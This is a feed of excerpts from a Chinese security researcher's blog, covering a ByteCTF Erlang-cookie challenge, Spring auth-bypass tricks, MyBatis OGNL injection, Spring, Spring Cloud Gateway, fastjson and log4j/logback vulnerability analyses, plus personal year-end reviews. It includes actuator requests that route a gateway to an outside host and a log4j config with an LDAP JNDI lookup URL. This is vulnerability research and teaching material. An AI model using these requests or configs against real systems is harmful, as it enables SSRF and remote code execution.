Panda | 热爱安全的理想少年 - panda
type: channel
link: https://www.cnpanda.net/author/1
description: panda
items: ByteCTF Guess Cookie 出题思路详解
items: spring 审计常见 tricks
items: Mybatis 从SQL注入到OGNL注入
items: 2022 总结
items: 从零开始，分析Spring Framework RCE
items: 从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析
items: fastjson<=1.2.68 漏洞分析
items: 我的2021年度总结
items: 聊聊配置文件 RCE 这件事
items: log4j 1.x 与 logback 的鸡肋RCE讨论

ByteCTF Guess Cookie 出题思路详解
type: item
date: 2024-10-28T05:44:00+00:00
description: 0x01 写在前面前段时间在字节 CTF 的大师赛上出了一个杂项，算是前段时间研究某个中间件的衍生产物，觉得很有兴趣，最近有时间便拿出来分享一下出题思路0x02 小玩笑当今时代，消息中间件已成为实现分布式系统和微服务架构的关键组件之一，市面上的常见的消息中间件主要有ActiveMQ、Kafka、RabbitMQ、RocketMQ，其中 RabbitMQ 主要用于金融业、Kafka 主要用于大数据行业，并且随着时间的推移，RabbitMQ 成为了最受欢迎和使用最多的消息队列之一。但是针对于 RabbitMQ 的利用和安全问题，在业内却少有研究。本题主要以 RabbitMQ 的erlang Node节点通信安全为核心，考察参赛选手对整个通信过程的安全理解。当打开题目所给的 pcap 数据包后，可以看到172.20.10.24 和 172.20.10.4 之间通信的主要的协议有http、tcp、amqp、 ErlDP 等，如下图所示：题目里设置了假的 flag，如果直接搜索 flag，会搜到 fakerflag{ByteDance@2024} 和 this is a faker flag that is ByteCTF{1e1111dce-cdf7-423f-8a8b-a62dec323d17}（开个小玩笑）0x03 通信过程分析进入正题。根据题目描述：请你尝试分析这段数据，解出 172.20.10.24 和 172.20.10.4 之间通信的 cookie根据已有协议，http 协议的 cookie 为：将其 转换为 32 位小写的 md5 后，提交发现 flag 错误，因此看看其他协议：AMQP、EPMD、ErlDP实际上这三个协议主要是为 RabbitMQ 提供服务的，AMQP（Advanced Message Queuing Protocol，高级消息队列协议）是一个开放标准的应用层网络协议，用于在分布式系统中进行异步消息传递。它是RabbitMQ等消息中间件广泛支持的主要协议之一。AMQP协议支持多种认证机制，其中PLAIN-SASL（简单认证和安全层）是常用的一种。在PLAIN-SASL认证中，客户端通过提供用户名（username）和密码（password）进行身份验证。除此之外，AMQP还支持其他SASL机制，如 EXTERNAL、ANONYMOUS 等，具体使用哪种机制取决于服务器的配置和安全需求。认证成功后，客户端需要经过一系列步骤才能开始消息传输，包括建立连接、创建通道、声明交换机和队列等。AMQP协议本身不使用cookie进行会话管理，而是依赖于长连接和通道的概念来维护通信状态。因此这个协议也可以排除筛选。那么就剩下两个协议了：EPMD 和 ErlDP。这两个协议也是本题所考察的内容。即 Erlang 节点协议认证过程。EPMD 全称为 Erlang Port Mapper Daemon，在 RabbitMQ 中主要充当"名称服务器"的作用。它的主要功能包括：将符号节点名称映射到具体的 IP 地址和端口号。维护一个活跃 Erlang 节点的注册表。协助 Erlang 节点之间建立初始连接。EPMD 通常在端口 4369 上运行，为 Erlang 集群中的节点提供服务。Erlang Distribution Protocol（有时简称为 Erlang Distribution 或 Erldp）是 Erlang 编程语言中用于实现分布式系统通信的核心协议。它的主要特点包括：用于 Erlang 节点之间的通信。支持远程过程调用（RPC）和消息传递。提供内置的容错和错误处理机制。对于节点间的认证，Erlang 使用了一种称为 "Magic Cookie" 的机制：每个 Erlang 节点都有一个 cookie，这是一个字符串值。当两个节点尝试建立连接时，它们会交换并比较各自的 cookie。只有当两个节点的 cookie 相同时，连接才会建立。cookie 通常存储在一个名为 .erlang.cookie 的文件中。当然，虽然这种机制被称为 "cookie"，但它与 Web 浏览器中使用的 HTTP cookie 完全不同。Erlang 的 cookie 是一种简单的共享密钥机制，用于节点认证。本题最终的 flag 也就是这个 cookie 32 位 MD5 的小写值。筛选与 Erlang 通信相关的协议（epmd || erldp）可以发现：想要分析这段通信的含义就要首先了解 RabbitMQ 中 Erlang节点通信验证的逻辑，过程如下：Client Node Server Node| | | 1. SEND (name, flags, creation) | |-------------------------…

spring 审计常见 tricks
type: item
date: 2024-10-28T05:34:00+00:00
description: 图 1 是利用墨菲安全的 jar 检测，快速梳理有漏洞组件的 jar 包图 2、图 3 是快速审计漏洞的时候，需要关注一下web.xml或者xxx Service.xml中的特殊 servlet 或 service图 4 是为了在审计的时候避免找不到相关类的常规快速处理方法图 5 是批量反编译的两种方法图 6 是通过关键字来找路由的 list图 7 是在可以编译代码的情况下（通常是针对开源项目）快速找接口的插件图 8 是向skay 师傅学的，在可以调试的情况下，在这个类下断点可以获取到一些路由 list图 9、图 10 是在suffixPatternMatch为 TRUE 的情况下绕过鉴权的一种 trick图 11 是 在 setUseTrailingSlashMatch 为 true 的情况下绕过鉴权的一种 trick图 12 是向三梦师傅学的，当项目使用了 springsecurity 的时候的绕过场景图 13、图 14 是 startsWith( )和 endWith() 的鉴权绕过的一些方法图 15、图 16 是在 forward 目的路由可控时绕过鉴权的一种代码写法图 17 、图 18 是先知师傅整理的 shiro 的鉴权绕过相关的 tips图 19 是项目使用了 jwt 鉴权的一些思路图 20 是 fuzz 鉴权绕过的一些方法思路

Mybatis 从SQL注入到OGNL注入
type: item
date: 2023-03-01T02:20:00+00:00
description: 动态SQL动态 SQL 是 MyBatis 的强大特性之一，一般而言，如果不使用动态SQL来拼接SQL语句，是比较痛苦的，比如拼接时要确保不能漏空格，还要注意去掉列表最后一个列名的逗号等，但是利用动态 SQL，就可以彻底摆脱这种痛苦。一般而言，使用mybatis有两种配置，一种是通过xml文件的方式来配置，另一种是通过注解的方式来配置。1、xml文件mybatis的*mapper.xml文件里能够使用动态SQL的标签有4种，分别是：① ifif标签是Mybatis中使用动态SQL比较频繁的地方，尤其是在where的判断里，比如： SELECT * FROM BLOG WHERE state = 'ACTIVE' <if test="title != null"> AND title like #{title} </if> 这里的SQL语句就提供了选择情景，如果我们不传入title或者传入的title为空，那么就不会拼接 AND title like #{title}又或者想加入额外的判断： SELECT * FROM BLOG WHERE state = 'ACTIVE' <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> 结论：if标签里的 test属性，可以插入并解析OGNL表达式② choose (when, otherwise)根据官方文档中的说明有时候，我们不想使用所有的条件，而只是想从多个条件中选择一个使用。针对这种情况，MyBatis 提供了 choose 元素，它有点像 Java 中的 switch 语句。 SELECT * FROM BLOG WHERE state = 'ACTIVE' <choose> <when test="title != null"> AND title like #{title} </when> <when test="author != null and author.name != null"> AND author_name like #{author.name} </when> <otherwise> AND featured = 1 </otherwise> </choose> 结论：when标签里的 test属性，可以插入并解析OGNL表达式③ trim (where, set) SELECT * FROM BLOG WHERE <if test="state != null"> state = #{state} </if> <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> 可以看下这个SQL语句，假设如果没有满足匹配的条件，那么最终这条 SQL 会变成这样：SELECT * FROM BLOG WHERE毫无疑问，这会导致查询失败同样的，如果匹配的只是第二个条件，这条 SQL 会是这样：SELECT * FROM BLOG WHERE AND title like 'someTitle'这个查询也会失败所以mybatis提出来了trim方法，如下： SELECT * FROM BLOG <where> <if test="state != null"> state = #{state} </if> <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> </where> 可以看到多了一个where标签，同理还有一个set标签结论：该情况下，一般没有地方可以供我们插入OGNL表达式④ foreach动态 SQL 的另一个常见使用场景是对集合进行遍历（尤其是在构建 IN 条件语句的时候）。比如： SELECT * FROM POST P <where> <foreach item="item" index="index" collection="list" open="ID in (" separator="," close=")" nullable…

2022 总结
type: item
date: 2022-12-31T12:36:09+00:00
description: 2022 总结2022 正式脱离了学校的生活从学生走向了社畜的生活不得不说，感觉时间过得越来越快从每周，到每月，到每个双月，再到每个季度时间眨眼而逝2022年学习的新知识也不少，但主要是不同方向的知识在知识的深度上，没有多少的精进也时常迷茫未来应该如何发展常问自己，自己能有什么做到与众不同的或者做的比别人好的吗到头来也没个答案只是按部就班的来过2022复现了不少有意思的漏洞也发现了很多漏洞一句话总结的话可能用“波澜不惊”形容更合适吧2023，希望自己发现一个牛逼的漏洞

从零开始，分析Spring Framework RCE
type: item
date: 2022-04-16T13:43:00+00:00
description: 本文首发于跳跳糖社区：http://tttang.com/archive/1532/博客用于备份0x01 写在前面如果需要让你对一套CMS的安全性进行研究分析，你会从哪里入手？或许你会回答代码审计的那一套知识点。那么，如果需要让你要对 Spring Framework 框架的安全性进行研究分析，你会从哪里入手？更宽泛一点，如果需要让你对一个大型的开源组件的安全性进行研究分析，你会从哪里入手？实际上自从 Spring Framework RCE（ CVE-2022-22965 ）漏洞被爆出后，我就在思考这样的一个问题。如果让我去分析这种类似于 Spring Framework 框架的安全性，我能够发现这个漏洞吗？我给自己的结论是不能。分析了主要原因，主要有三点。第一是基础不牢，当你不知道Spring Framework框架内部运行的机制以及其特色的实现原理的时候，你不可能从中找到不足点；这个很容易理解，你都不懂我，你怎么可能会懂我的不足。第二是积累不够，当你都不知道Spring Framework框架曾经出现过哪些问题的时候，你又怎么可能知道曾经出现问题的地方有没有可能被绕过；这一点其实很简单，但也最怕眼高手低，最常有的想法是这都十多年前的漏洞了，看了应该也没啥意思，不如看看最近出现过的新的漏洞。第三是知识的广度，当你都不知道JDK新特性以及新特性如何去使用的时候，你又怎么可能找到绕过的方法；这一点最难去弥补，安全的知识海洋太广了，没有人能够把自己知识的广度做到100%的安全面，但最关键的地方并不在于要做到100%的广度，而是要做到你了解到的广度能够帮你实现目标；那这三点应该如何去解决呢？在文章的末尾我会给出我的见解。下面会从基础知识到漏洞原理到漏洞修复对 Spring Framework RCE漏洞进行分析。0x02 基础知识java.lang.Class在Java中有两种对象：Class对象和实例对象。实例对象是类的实例，通常是通过 new 这个关键字构建的；Class对象是JVM生成用来保存对象的类的信息的；在代码中写的每一个类都是对象，也同是java.lang.Class类的对象。换而言之，每个类都有自己的实例对象，而且也都是Class类的对象。在java.lang.Class类中对Class类的构造方法有相关说明： /* * Private constructor. Only the Java Virtual Machine creates Class objects. * This constructor is not used and prevents the default constructor being * generated. */ private Class(ClassLoader loader, Class<?> arrayComponentType) { // Initialize final field for classLoader. The initialization value of non-null // prevents future JIT optimizations from assuming this final field is null. classLoader = loader; componentType = arrayComponentType; }Private constructor. Only the Java Virtual Machine creates Class objects. This constructor is not used and prevents the default constructor being generated.可以看到，Class类的构造方法是私有构造函数，只有JVM 才可以创建该类的对象。也就是说，我们是没有办法通过 new 的方式声明一个Class对象的，如下图，当我们尝试 new 一个Class对象的时候，会报错：虽然我们无法通过new的方式得到Class类的对象，但是依然有其他方式获得Class类的对象，如：通过类的静态成员变量来获取、通过java.lang.Object.getClass() 方法返回运行时类的对象、通过Class的静态方法forName()获取：可以这样去理解，获取到一个类对象后，就可以调用这个类中的一些方法，当获取到Class对象后，变相的获取了所有Class类的对象，通过调用这个Class类下实例对象的方法，就相当于调用了实例对象的方法。JavaBean在介绍SpringBean之前需要对JavaBean有一定的了解，根据官方的介绍如下：JavaBean 是一种 Java语言写成的可重用组件。…

从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析
type: item
date: 2022-03-05T17:16:00+00:00
description: 0x01 写在前面本周二（3.1）的时候Spring官方发布了 Spring Cloud Gateway CVE 报告其中编号为 CVE-2022-22947 Spring Cloud Gateway 代码注入漏洞的严重性为危急，周三周四的时候就有不少圈内的朋友发了分析和复现过程，由于在工作和写论文，就一直没去跟踪看看，周末抽了点时间对这个漏洞进行复现分析了一下。还是挺有意思的。0x02 从SSRF说起看到这个漏洞利用流程的时候，就有一种熟悉的既视感，回去翻了翻陈师傅的星球，果然：去年12月的时候，陈师傅提了一个 actuator gateway 的 SSRF漏洞，这个漏洞来自 wya作者在文章中提到，通过Spring Cloud Gateway 执行器（actuator）提供的管理功能就可以对路由进行添加、删除等操作。因此作者利用 actuator 提供的路由添加功能，并根据官方示例，如下图：添加了一个路由：POST /actuator/gateway/routes/new_route HTTP/1.1 Host: 127.0.0.1:9000 Connection: close Content-Type: application/json { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "/new_route(?<path>.*)", "_genkey_1": "/${path}" } } ], "uri": "https://wya.pl", "order": 0 }在执行 refresh 操作后，作者成功执行了一个SSRF请求（向https://wya.pl/index.php发起的请求）：陈师傅最后还在星球里给了个演示的实例：https://github.com/API-Security/APISandbox/blob/main/OASystem/README.md先不具体讨论为什么payload会这样写，如果你熟悉 CVE-2022-22947 的payload，那么看到这里你一定会有同样的熟悉感。是的，CVE-2022-22947 这个漏洞实际上就是这个 SSRF 的进阶版，并且触发SSRF的原理并不复杂首先利用/actuator/gateway/routes/{new route}的方式指定一个URL地址，并针对该地址添加一个路由POST /actuator/gateway/routes/new_route HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Content-Type: application/json { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "/new_route(?<path>.*)", "_genkey_1": "/${path}" } } ], "uri": "https://www.cnpanda.net", "order": 0 } 然后刷新令这个路由生效：POST /actuator/gateway/refresh HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Content-Type: application/json { "predicate": "Paths: [/new_route], match trailing slash: true", "route_id": "new_route", "filters": [ "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]" ], "uri": "https://www.cnpanda.net", "order": 0 }最后直接访问/new_route/index.php即可触发SSRF漏洞。到这里有两个问题：第一，payload为什么会这样写？第二，整个请求流程是什么样的？首先来看第一个问题，payload为什么会这样写上文中我们提到了Spring Cloud Gateway官方给的实例如下：{ "id": "first_route", "predicates": [{ "name": "…

fastjson<=1.2.68 漏洞分析
type: item
date: 2022-03-05T17:05:25+00:00
description: 去年写的文章，没发出来，给公众号增加点内容，也留点笔记写在前面自2017年3月15日 fastjson 1.2.24版本被爆出反序列化漏洞以来，其就成为了安全人员中的重 点研究对象，即使后来 fastjson 为了安全设置了checkAutoType 防御机制，也依旧没能完全杜 绝新的漏洞产生，结合今日BlackHat 大会上玄武实验室的《How i use json deserialization》 议题，来看看这个漏洞。Fastjson的两个机制fastjson中产生漏洞的根本原因在于其 autoType 机制，以及针对于 autoType 机制做的 checkAutoType 检测防御机制，先来具体看看这两个机制。Autotype首先来谈谈为什么要有autotype这个机制 功能来源于需求，这是在开发过程中的准则之一，没有人会去做一个没有需求的功能，在fastjson中亦是如此。当我们使用fastjson中的JSON.parseObject(jsonstr, xxx.class)方法的时候，如果xxx是一个抽象 类或接口，那么我们得到的结果会是NULL，也就是说我们没有办法去指定一个抽象类或接 口，只能根据json字符串中的实现类的信息去帮助开发者解析成对应的实现类。问题出现， 那么需求就来了，如何实现fasjton对多态的支持?是的，fastjson给了我们答案——autotype 机制。在fastjson中，当要将具体的实现类解析为json字符串的同时，开发者可以为其指定 SerializerFeature，然后通过添加 SerializerFeature.WriteClassName 的方式，使得在生成的 json字符串中，添加序列化信息(写入类型信息)。举个例子:如果现在有一个抽象类为 abstractClass_A，有一个实现类为class_B，当开发者要将class_B要 解析成为json字符串的时候，就可以添加 SerializerFeature，如下所示:可以看到，此时解析成功的json字符串内容如下：{ "@type":"testAutoType$class_B", "str":"panda"}会自动携带一个 @type 的属性，这个属性指定了序列化的类之后当开发者想要直接使用抽象类A，就可以通过反序列化解析字符串，从而得到具体的实现类checkAutoTypecheckAutoType是 FastJson 在 1.2.25 以及之后的版本中，为了防止 autoType 这一机制带来的 安全隐患，增加的检测防御机制，这是一个对于 @type 属性进行白名单+黑名单的限制机制早期版本的checkAutoType存在一些比较低级的绕过方法，如加上L开头;结尾、双写LL绕过 等，直到1.2.48版本后，checkAutoType 变得成熟，黑名单也逐渐完善其具体逻辑，可以用《How i use json deserialization》议题的一张图片概括:checkAutoType首先会对传入的typeName进行3项检测:是否是白名单中的类是否在反序列化cache中(在mappings列表)类有JSONType注解(如:fastjson.annotation.JSONType)如果满足以上条件，那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache如果没有满足其中的一个条件，那么会进入另一个判断:传入的typeName是否在黑名单中是否继承自RowSet、DataSource、ClassLoader等类如果满足上述条件之一，那么直接抛出错误 如果都不满足，那么会进行如下判断:expectClass不为NULL、Object、Serializable、Closeable等类型传入的typeName类继承于expctClass如果满足以上条件，那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache如果不满足，那么会经过autoTypeSupport的判断，autoTypeSupport主要用来打开autotype功能，默认情况下是false，抛出错误，如果设置的是True那么会return出去继续执行反序列化流 程并且将未载入cache的类载入cache漏洞分析实际上经过上面的分析，我们直到如果想要通过checkAutoType的检验，有以下几种方法:传入的类在白名单中开启了autotype(autoTypeSupport is true)使用了JSONType注解(如:fastjson.annotation.JSONType)某些期望类 (继承于expectClass)要反序列化的类在cache中 (TypeUtils.mappings列表中…

我的2021年度总结
type: item
date: 2021-12-31T08:43:00+00:00
description: 2021 我做了什么？这一年我在博客发表了14 篇技术文章这一年我的《Java 代码审计（入门篇）》出版了，并且我为这本书录制了17 节课时的讲解视频这一年我拿到了腾讯和蚂蚁的实习 offer，但最终选择在非攻实验室实习了三个月，并且拿到了转正 offer这一年我在秋招期只向一家公司投了一个简历，但仿佛是命中注定一样，我最终去了这家公司——字节的无恒实验室这一年我中了一篇会议，投了一篇小论文这一年我去了静安寺、灵隐寺、法喜寺，但似乎许的愿现在没有一个成功了这一年我给 Apache 基金提交了 3 个漏洞，目前还在审核中这一年我一共做了 100+篇的笔记这一年我看望了我的高中老师、本科老师这一年我和带我进入圈子的前辈终于线下见了面，吃了一顿饭这一年我的好友列表新增了 197 人这一年我发言最多的群聊——赛博回忆录这一年我父母和奶奶又老了一岁这一年我开始下意识的给自己制定合适的学习路线和学习计划这一年我最要感谢的人是我的导师这一年我最喜欢的电影是《失控玩家》这一年我最喜欢的歌曲是容祖儿版的《百年孤寂》这一年我最喜欢的小说是《三体》这一年是我和对象在一起的第三年这一年我似乎做了很多事情，但似乎又没做什么事。年初给自己定下的目标实现了，年中定下的目标实现了，年底定下的目标也实现了。看起来似乎做到了应该做的，但又感觉自己做的还不够。如果要给我的 2021 用一个词来概括，那应该是——成长是的。这一年我成长了不少。明白这个世界并非是我们想象的那样，人和人之间是不一样的，每个人在心里对你的定义也是不一样的。你没法改变你在别人心中的看法，你能够做的其实是做更好的自己。但也正像是罗曼·罗兰说的那样，生活的本质是看透生活后，依然热爱生活。哪有什么事事如意，万事称心，不过是乐观使然。但正是这样，人更应该感谢曾经帮助过自己的人——不是每个人都愿意给你指点，给你帮助的。所以我真心感谢曾经帮助我的朋友和前辈们。2021，就这样吧！2022 我想做什么？毕业顺利能够毕业旅行能够完美胜任自己的工作并做出一番成绩技术更上一层楼2022，冲！

聊聊配置文件 RCE 这件事
type: item
date: 2021-12-29T06:38:00+00:00
description: 写在前面昨晚推特上一条博文引起了圈内的大量关注log4j 2.17.0 RCE 啦！！然鹅：圈内人士嘘声一片……修改配置文件 RCE，就这就这？那么修改配置文件来RCE到底是怎么“流行”起来的呢？因这件事还要从 Log4j 2 的 RCE 说起在log4j2 的 GitHub项目有个 Pull：https://github.com/apache/logging-log4j2/pull/608一位叫“TopStreamsNet”的老外提到：如果您查看 jndi 在 1.x 中的工作方式，您会发现有两个地方可以完成查找 - 即 JMSAppender.java:207 和 JMSAppender.java:222 - 如果您将 TopicBindingName 或 TopicConnectionFactoryBindingName 设置为 JNDI 可以处理的内容 - 例如“ldap://host:port/a”JNDI 将做与 2.x 完全相同的事情 - 所以 1.x 是易受攻击的，只是攻击向量“更安全”，因为它取决于配置而不是用户 输入然后通过配置文件 RCE 的这件事就开始讨论起来了特别是 Log4j2 的作者回复到：如果攻击者可以修改某个系统 S 上的配置文件，那么可以假设 S 已经被很大程度地渗透了。如果攻击者可以修改 log4j.properties (log4j 1.x)，她就不需要下载恶意代码，她可以轻松地将恶意类文件放在类路径中并让它们执行。因此，在非常严格的意义上，log4j 1.x 中存在漏洞，但与日志参数引起的 RCE 没有任何关系。实际上可以看得出来，Log4j2 的作者一开始并不认同这个老外的观点，但有意思的来了就在大家认为这个“漏洞”不是漏洞的时候，RadHat 出来作妖了：https://access.redhat.com/security/cve/CVE-2021-4104他们把这个由配置文件引起的 RCE 定义为漏洞，并且给了cvss v3 7.5的中危评分！然后有人又在 log4j2 那个 pull 下面回复了：路人：看，你看，RedHat 发了一个 CVE，而且还是7.5的评分！（实际上一开始给了 8.0）当然，也有人回复到：路人：TMD，ReaHat 你不懂规矩，不讲武德，人家 log4j 官方都没发话呢，你出来搞什么事情后来迫于压力下，log4j 认了这个 CVE我们决定保留 Red Hat 分配的 CVE，以节省创建另一个并拒绝他们的 CVE。log4j 官方：行了行了，我认，我认还不行吗至此，由log4j 在 pull 上讨论出的第一个 由配置文件引发 RCE的 CVE 被 RedHat折腾出来了果在这个 CVE 发布前，实际上我就对“TopStreamsNet”这位老外提出的看法进行了研究：log4j 1.x 与 logback 的鸡肋RCE讨论：https://www.cnpanda.net/sec/1131.html并且我发现实际上log4j 1.x 的配置文件 RCE 并不能立刻生效，因为修改 log4j 1.x 的配置文件需要重新加载后才可以生效，在生产环境下谁闲着没事主动重启或者重新加载配置文件？但 logback 不太一样，因为 logback 有个 scan 属性，可以自动扫描配置文件是否发生了改变，如果发生了改变，那么就会自动更新配置文件。所以研究的时候写了一个 SpringBoot 的演示Demo 发到了 GitHub 上。凑巧的是，在 logback 的官方 issue 上看到一个提问，大意是 logback 中是否存在RedHat 发布的那个漏洞，然后我回复了之前那个SpringBoot 演示 Demo 的地址，后来 logback的作者也给分配了CVE-2021-42550，还发邮件问我要不要 credit老外还是热心的，但是我觉得这漏洞本身限制很大，而且 @香依香偎 师傅在一年前就提出了这个利用方式：https://xz.aliyun.com/t/7351所以我拒绝了credit。后来通过 @TiGer 师傅得知这个 logback 漏洞实际上出现过实际例子的利用：可以参考：https://www.cnblogs.com/zpchcbd/p/15542705.html总结回过头来看看这个log4j 2.17.0 的配置文件 RCE，确实有点离谱，因为修改完配置文件后，它不像 logback 一样可以实时生效，属于鸡肋中的鸡肋了。实际上 @pwntester 大神也说了：大多数使用数据库的 Java 应用程序都有配置文件，您可以在其中指定 JNDI 地址以获取 JDBC 数据源可以通过 JNDI设置配置文件的部分应用如下：jettyhttps://wiki.…

log4j 1.x 与 logback 的鸡肋RCE讨论
type: item
date: 2021-12-12T18:57:00+00:00
description: 0x01 写在前面对 log4j2 漏洞的后续研究中，发现一些有趣的东西，记录分享一下0x02 log4j 真的在任何情况不存在 JNDI注入吗？首先提出一个问题，log4j 真的在任何情况不存在 JNDI注入吗？答案是否定的。翻阅 Log4j2 的 pull request 发现一个有意思的对话：有人提出实际上 log4j 和 log4j2 一样易受攻击的，只不过与 log4j2 相比，Log4j 的攻击向量“更安全”因为 Log4j 的攻击入口点是其配置文件，而 log4j2 的攻击入口点是用户的输入那么实际上如何呢？经过我简单测试，发现修改 log4j 的配置文件确实会导致漏洞的产生，但要求要比pull reques中所说的更苛刻。案例1 - log4j 配置文件中 JMSAppender 的 RCE首先在 maven 中添加以下依赖：<dependencies> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-broker</artifactId> <version>5.16.3</version> </dependency> </dependencies>然后在resource 目录下新建 log4j.properties 文件，内容如下：log4j.rootLogger=INFO, stdout, jms log4j.logger.org.apache.activemq=INFO, stdout log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern=%d %-5p %c - %m%n log4j.appender.jms=org.apache.log4j.net.JMSAppender log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory log4j.appender.jms.ProviderURL=tcp://localhost:61616 log4j.appender.jms.TopicBindingName=jmsTest log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://127.0.0.1:1389/erqtcd最后新建 Log4jJMSAppenderTest.java 文件，内容如下：import org.apache.log4j.Logger; import javax.naming.NamingException; class Log4jJMSAppenderTest { public static void main(String[] args) throws NamingException { // 通常情况下会自动加载 Log4j 的配置文件，如果不能自动加载可以取消注释下行代码 // PropertyConfigurator.configure( "/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties" ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class); logger.error("error"); } }可以看到，项目的所用到的主要依赖是 log4j 1.2.17 版本，然后为了满足条件要求（后文会说具体什么条件），又引入了最新版的 activemq 依赖。然后如果直接运行 main 函数，可以直接触发 RCE：原理很简单，log4j 有一个名为Appenders的功能，Appender 通常只负责将事件数据写入目标指定的区域， 比如数据库、JMS 代理等当检测到log4j.properties配置文件中存在指定的 Appender 时，会自动进入相应的功能逻辑如，假设配置了log4j.appender.file=org.apache.log4…